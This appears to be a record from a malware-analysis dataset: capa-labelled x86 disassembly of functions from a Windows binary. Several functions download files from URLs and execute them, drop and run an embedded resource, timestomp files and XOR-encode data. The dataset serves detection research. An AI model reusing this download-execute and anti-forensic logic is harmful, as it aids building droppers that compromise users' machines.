joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d0f18
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x4d0fe5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x278
mov eax, dword [ebp - 4]
call fcn.004088ec
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4d0fca
mov eax, dword [ebp - 4]
call fcn.004088ec
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4d0fc3
test esi, esi
je 0x4d0fc3
lea eax, [ebp - 8]
lea edx, [esi + 0x10c]
mov ecx, 0x84
call fcn.004044a0
mov edx, dword [ebp - 8]
mov eax, 0x4d0ffc
call fcn.0043900c
test al, al
je 0x4d0fbd
lea eax, [ebp - 0xc]
lea edx, [esi + 0x1b0]
mov ecx, 0x10
call fcn.004044a0
mov eax, dword [ebp - 0xc]
mov edx, 0x4d101c
call fcn.0040463c
jne 0x4d0fb9
mov bl, 1
jmp 0x4d0fca
mov bl, 2
jmp 0x4d0fca
mov esi, dword [esi]
test esi, esi
jne 0x4d0f6f
mov eax, esi
call fcn.00402804
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0fec
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404254
ret

Function at 0x4d2b40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff68
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4d2be1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x94], 6
jne 0x4d2ba2
dec ebx
jne 0x4d2b93
lea eax, [ebp - 4]
mov edx, 0x4d2bf8
call fcn.004042c8
jmp 0x4d2bc1
lea eax, [ebp - 4]
mov edx, 0x4d2c18
call fcn.004042c8
jmp 0x4d2bc1
dec ebx
jne 0x4d2bb4
lea eax, [ebp - 4]
mov edx, 0x4d2c34
call fcn.004042c8
jmp 0x4d2bc1
lea eax, [ebp - 4]
mov edx, 0x4d2c48
call fcn.004042c8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404284
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d2be8
lea eax, [ebp - 4]
call fcn.00404230
ret
Function at 0x4d379c
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4d3966
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
call fcn.004d2cb4
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00409724
mov edx, dword [ebp - 0x48]
lea eax, [ebp - 4]
mov ecx, dword [0x56fca0]
call fcn.0040453c
lea eax, [ebp - 8]
mov ecx, 0x4d397c
mov edx, dword [ebp - 4]
call fcn.0040453c
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004046f0
push eax
lea eax, [ebp - 0x50]
mov ecx, 0x4d397c
mov edx, dword [0x574954]
call fcn.0040453c
mov eax, dword [ebp - 0x50]
call fcn.004046f0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea eax, [ebp - 8]
mov ecx, 0x4d3990
mov edx, dword [ebp - 4]
call fcn.0040453c
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004046f0
push eax
lea eax, [ebp - 0x54]
mov ecx, 0x4d3990
mov edx, dword [0x574954]
call fcn.0040453c
mov eax, dword [ebp - 0x54]
call fcn.004046f0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea eax, [ebp - 8]
mov ecx, 0x4d39a0
mov edx, dword [ebp - 4]
call fcn.0040453c
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004046f0
push eax
lea eax, [ebp - 0x58]
mov ecx, 0x4d39a0
mov edx, dword [0x574954]
call fcn.0040453c
mov eax, dword [ebp - 0x58]
call fcn.004046f0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea eax, [ebp - 8]
mov ecx, 0x4d39b0
mov edx, dword [ebp - 4]
call fcn.0040453c
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004046f0
push eax
lea eax, [ebp - 0x5c]
mov ecx, 0x4d39b0
mov edx, dword [0x574954]
call fcn.0040453c
mov eax, dword [ebp - 0x5c]
call fcn.004046f0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x3c
call fcn.00407548
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
xor eax, eax
mov dword [ebp - 0x3c], eax
mov eax, dword [0x56fca4]
call fcn.004046f0
mov dword [ebp - 0x34], eax
mov eax, 0x4d39b8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
call fcn.004046f0
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d396d
lea eax, [ebp - 0x5c]
mov edx, 6
call fcn.00404254
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404254
ret

Function at 0x4d48e0
Capabilities:
Suspend thread

Disassembly:
mov byte [eax + 0xd], 1
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
ret

Function at 0x4d48f0
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jne 0x4d4905
mov byte [ebx + 0xd], 0
pop ebx
ret
Function at 0x4d4a08
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov ebx, eax
push 0
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, ebx
call fcn.004d4974
mov esi, eax
mov eax, ebx
call fcn.0040341c
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4d4ee8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe2c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d4f88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x44]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x44]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4d4f72
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4d4f4b
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404428
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4d4f39
call sub.wsock32.dll_WSACleanup
cmp dword [ebp - 4], 0
je 0x4d4f6c
mov eax, dword [ebp - 4]
mov edx, 0x4d4fa0
call fcn.0040463c
jne 0x4d4f70
xor ebx, ebx
jmp 0x4d4f72
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d4f8f
lea eax, [ebp - 4]
call fcn.00404230
ret

Function at 0x4d4fac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffff0
lea eax, [esp + 0xc]
push eax
push 0x4d5018
push 0x80000002
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x4d5009
mov dword [esp], 4
push esp
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x4d5048
mov eax, dword [esp + 0x20]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4d4ff6
cmp byte [esp + 4], 1
sete bl
jmp 0x4d4ffd
call fcn.004d4ee8
mov ebx, eax
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x4d5010
call fcn.004d4ee8
mov ebx, eax
mov eax, ebx
add esp, 0x10
pop ebx
ret

Function at 0x4d5440
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046e0
xor eax, eax
push ebp
push 0x4d5501
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x4d5518
call fcn.00404834
test eax, eax
jne 0x4d5488
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x4d5524
call fcn.0040453c
test bl, bl
je 0x4d54c7
lea edx, [ebp - 8]
mov eax, 0x4d5534
call fcn.004d50c0
cmp dword [ebp - 8], 0
je 0x4d54c7
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004046f0
push eax
mov eax, dword [ebp - 8]
call fcn.004046f0
push eax
push 0x4d553c
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4d54e6
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004046f0
push eax
push 0x4d553c
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5508
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404254
ret
Function at 0x4d5544
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
xor edx, edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4d55fa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x106]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x106]
call fcn.00409b98
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.0040dc48
mov eax, dword [ebx]
call fcn.004d5608
test al, al
jne 0x4d55dc
lea edx, [ebp - 0x114]
mov eax, dword [0x571704]
mov eax, dword [eax]
call fcn.0047ddec
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
call fcn.004096f0
mov eax, dword [ebp - 0x110]
mov edx, ebx
call fcn.0040dc48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d5601
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.00404254
ret

Function at 0x4d5608
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004046f0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4d5621
test al, 0x10
jne 0x4d5625
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x4d6750
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x4d680a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push esi
call sub.kernel32.dll_GetFileTime
fld qword [ebp + 0x18]
fcomp dword [0x4d6814]
fnstsw ax
sahf
je 0x4d67b4
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
lea eax, [ebp - 8]
call fcn.004d66fc
fld qword [ebp + 8]
fcomp dword [0x4d6814]
fnstsw ax
sahf
je 0x4d67d0
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x10]
call fcn.004d66fc
fld qword [ebp + 0x10]
fcomp dword [0x4d6814]
fnstsw ax
sahf
je 0x4d67ec
push dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x18]
call fcn.004d66fc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push esi
call sub.kernel32.dll_SetFileTime
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4d6854
Capabilities:
Get file size

Disassembly:
push ebx
add esp, 0xfffffff4
mov ebx, eax
mov dword [esp], 0xffffffff
mov dword [esp + 4], 0xffffffff
push 0
push 0x80
push 3
push 0
push 3
push 0
mov eax, ebx
call fcn.004046f0
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4d68af
lea eax, [esp + 8]
push eax
push ebx
call sub.kernel32.dll_GetFileSize
mov edx, eax
mov eax, dword [esp + 8]
call fcn.004d6818
mov dword [esp], eax
mov dword [esp + 4], edx
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0xc
pop ebx
ret
Function at 0x4d68bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, eax
mov byte [ebp - 1], 0
cmp dword [ebp + 8], 0
je 0x4d693f
push ecx
push edx
push edi
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x4d693f
push ebx
push edi
call sub.kernel32.dll_LoadResource
mov esi, eax
test esi, esi
je 0x4d693f
push esi
call sub.kernel32.dll_LockResource
mov dword [ebp - 8], eax
push esi
call sub.kernel32.dll_FreeResource
cmp dword [ebp - 8], 0
je 0x4d693f
push ebx
push edi
call sub.kernel32.dll_SizeofResource
test eax, eax
je 0x4d693f
xor edx, edx
push ebp
push 0x4d6935
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, dword [ebp - 8]
mov ecx, eax
mov eax, dword [ebp + 8]
call fcn.0041f9ac
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d693f
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4

Function at 0x4d6a3c
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push ecx
mov byte [esp], dl
mov esi, eax
xor ebx, ebx
test byte [esp], 1
je 0x4d6a4f
add ebx, 0x20
test byte [esp], 2
je 0x4d6a58
add ebx, 2
test byte [esp], 4
je 0x4d6a5f
inc ebx
test byte [esp], 8
je 0x4d6a68
add ebx, 4
test byte [esp], 0x10
je 0x4d6a74
add ebx, 0x100
test byte [esp], 0x20
je 0x4d6a80
add ebx, 0x1000
push ebx
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp eax, 1
sbb eax, eax
inc eax
pop edx
pop esi
pop ebx
ret
Function at 0x4d79c4
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046e0
lea esi, [ebp - 0x44]
xor eax, eax
push ebp
push 0x4d7b4b
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x4d7b68
call fcn.00404834
test eax, eax
jne 0x4d7a0f
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x4d7b74
call fcn.0040453c
mov eax, esi
mov edx, 0x3c
call fcn.004d6974
mov dword [esi + 8], 0x21
mov dword [esi + 0x14], 0x101
mov dword [esi + 0x20], 0x81
mov dword [esi + 0x28], 0x81
mov dword [esi + 0x30], 0x801
mov dword [esi + 0x38], 0x801
mov eax, 0x21
call fcn.004027e4
mov dword [esi + 4], eax
mov eax, 0x101
call fcn.004027e4
mov dword [esi + 0x10], eax
mov eax, 0x81
call fcn.004027e4
mov dword [esi + 0x1c], eax
mov eax, 0x81
call fcn.004027e4
mov dword [esi + 0x24], eax
mov eax, 0x801
call fcn.004027e4
mov dword [esi + 0x2c], eax
mov eax, 0x801
call fcn.004027e4
mov dword [esi + 0x34], eax
push esi
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004044f0
push eax
mov eax, dword [ebp - 4]
call fcn.004046f0
push eax
call sub.wininet.dll_InternetCrackUrlA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x4d7b05
mov eax, edi
mov edx, dword [esi + 4]
call fcn.00404428
mov eax, dword [ebp - 8]
mov edx, dword [esi + 0x10]
call fcn.00404428
mov eax, dword [ebp + 0x18]
mov edx, dword [esi + 0x2c]
call fcn.00404428
mov eax, dword [ebp + 0x14]
mov edx, dword [esi + 0x1c]
call fcn.00404428
mov eax, dword [ebp + 0x10]
mov edx, dword [esi + 0x24]
call fcn.00404428
mov eax, dword [ebp + 0xc]
mov edx, dword [esi + 0x34]
call fcn.00404428
mov eax, dword [ebp + 8]
mov dx, word [esi + 0x18]
mov word [eax], dx
mov eax, dword [esi + 0x34]
call fcn.00402804
mov eax, dword [esi + 0x2c]
call fcn.00402804
mov eax, dword [esi + 0x24]
call fcn.00402804
mov eax, dword [esi + 0x1c]
call fcn.00402804
mov eax, dword [esi + 0x10]
call fcn.00402804
mov eax, dword [esi + 4]
call fcn.00402804
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7b52
lea eax, [ebp - 4]
call fcn.00404230
ret

Function at 0x4d7d6c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
mov ebx, eax
push esi
push edi
mov esi, ecx
mov eax, esi
test eax, eax
je 0x4d7d85
mov eax, dword [esi - 4]
push eax
push esi
mov esi, edx
mov ecx, esi
test ecx, ecx
je 0x4d7d92
mov ecx, dword [esi - 4]
add al, cl
inc eax
lea edi, [ebp - 0x100]
mov edx, eax
stosb byte es:[edi], al
mov al, cl
stosb byte es:[edi], al
rep movsb byte es:[edi], byte [esi]
pop esi
pop ecx
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
std
dec edi
mov esi, edi
xor dl, 0xeb
lodsb al, byte [esi]
xor al, dl
stosb byte es:[edi], al
loop 0x4d7db0
cld
pop edi
pop esi
xor ecx, ecx
mov cl, byte [ebp - 0x100]
inc ecx
lea edx, [ebp - 0x100]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0x10]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d7dd4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe7c
push ebx
push esi
push edi
mov dword [ebp - 0x184], ecx
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0x80]
mov ecx, 1
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
xor ecx, ecx
mov cl, byte [ebp - 0x80]
lea edx, [ebp - 0x7f]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
push esi
push edi
xor eax, eax
lea esi, [ebp - 0x80]
lodsb al, byte [esi]
push esi
push eax
mov ecx, eax
mov edx, eax
mov edi, esi
xor dl, 0xeb
lodsb al, byte [esi]
xor al, dl
stosb byte es:[edi], al
loop 0x4d7e1b
pop eax
pop esi
lea edi, [ebp - 0x100]
mov cl, byte [esi]
inc ecx
sub eax, ecx
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x180]
stosb byte es:[edi], al
mov ecx, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, esi
lea edx, [ebp - 0x100]
call fcn.00404494
mov eax, dword [ebp - 0x184]
lea edx, [ebp - 0x180]
call fcn.00404494
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d817c
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
test dl, dl
je 0x4d8199
add esp, 0xfffffff0
call fcn.00403780
mov esi, ecx
mov byte [ebp - 1], dl
mov ebx, eax
xor eax, eax
push ebp
push 0x4d8298
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp + 8], 0
je 0x4d81e6
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_GetFileAttributesA
mov edi, eax
mov eax, edi
and eax, 2
cmp eax, 2
je 0x4d81d7
mov eax, edi
and eax, 1
cmp eax, 1
jne 0x4d81e6
push 0x20
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
xor eax, eax
mov al, byte [ebp + 0xc]
mov eax, dword [eax*4 + 0x56fd14]
push eax
push 0
push 3
push 0xc0000000
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_CreateFileA
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.0041fb9c
cmp dword [ebx + 4], 0
jge 0x4d8269
lea edx, [ebp - 0x18]
mov eax, esi
call fcn.00409838
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
call sub.kernel32.dll_GetLastError
lea edx, [ebp - 0x1c]
call fcn.0040c74c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [0x571a38]
mov dl, 1
mov eax, dword [0x41a03c]
call fcn.0040d058
call fcn.00403be8
cmp byte [ebp + 8], 0
je 0x4d827d
push edi
mov eax, esi
call fcn.004046f0
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d829f
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404254
ret
Function at 0x4d8b38
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x4d8c55
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp + 8]
push eax
xor eax, eax
call fcn.004d8a00
pop ecx
test al, al
je 0x4d8c30
mov eax, dword [ebp + 8]
push eax
call fcn.004d8844
pop ecx
test al, al
jne 0x4d8c30
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x140]
push eax
call sub.wininet.dll_HttpSendRequestA
test eax, eax
je 0x4d8c30
mov eax, dword [ebp + 8]
push eax
mov eax, 0x13
call fcn.004d8884
pop ecx
test al, al
je 0x4d8c30
lea eax, [ebp - 4]
mov edx, dword [ebp + 8]
add edx, 0xffffeffc
mov ecx, 0x1000
call fcn.004044a0
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.00409108
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov dword [edx + 0x188], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov esi, dword [eax + 0x188]
cmp esi, 0xc8
je 0x4d8bfb
mov eax, dword [ebp + 8]
cmp esi, 0xce
jne 0x4d8c30
mov eax, dword [ebp + 8]
push eax
mov eax, 5
call fcn.004d8884
pop ecx
test al, al
je 0x4d8c30
lea eax, [ebp - 8]
mov edx, dword [ebp + 8]
add edx, 0xffffeffc
mov ecx, 0x1000
call fcn.004044a0
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00409108
mov ebx, eax
mov eax, dword [ebp + 8]
push eax
call fcn.004d8844
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d8c5c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404254
ret
Function at 0x4ddf24
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4de078
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push pe_nt_image_headers32
push 2
push 0
push 3
push 0x40000000
mov eax, dword [0x5749dc]
call fcn.004046f0
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x4ddfeb
mov dl, 1
mov eax, dword [0x41ae50]
call fcn.004033ec
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4ddfdb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
mov ecx, 0x4de084
mov edx, 0x4de084
mov eax, dword [0x572668]
call fcn.004d68bc
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ddfe2
mov eax, dword [ebp - 0x10]
call fcn.0040341c
ret
push 1
push dword [0x5749dc]
push 0x4de094
lea edx, [ebp - 0x1c]
mov eax, dword [0x571704]
mov eax, dword [eax]
call fcn.0047ddec
push dword [ebp - 0x1c]
push 0x4de0a0
push dword [ebp - 8]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.004045b0
mov eax, dword [ebp - 0x18]
call fcn.004046f0
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [ebp - 4]
mov byte [eax + 0x264], 1
mov eax, dword [ebp - 4]
cmp word [eax + 0x1fa], 0
je 0x4de058
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x1fc]
call dword [ebx + 0x1f8]
jmp 0x4de05d
call fcn.004d694c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4de07f
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404254
ret

Function at 0x4de148
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
xor edx, edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x14c], edx
xor eax, eax
push ebp
push 0x4de233
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x140]
push eax
lea edx, [ebp - 0x14c]
mov eax, dword [0x571704]
mov eax, dword [eax]
call fcn.0047ddec
mov eax, dword [ebp - 0x14c]
lea edx, [ebp - 0x148]
call fcn.004096f0
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.0040dc48
lea eax, [ebp - 0x144]
mov edx, 0x4de248
call fcn.004044f8
mov eax, dword [ebp - 0x144]
call fcn.004046f0
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4de215
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.004044a0
mov eax, dword [ebp - 0x150]
call fcn.00409658
lea eax, [ebp - 0x140]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4de1dd
push ebx
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4de23a
lea eax, [ebp - 0x150]
mov edx, 4
call fcn.00404254
ret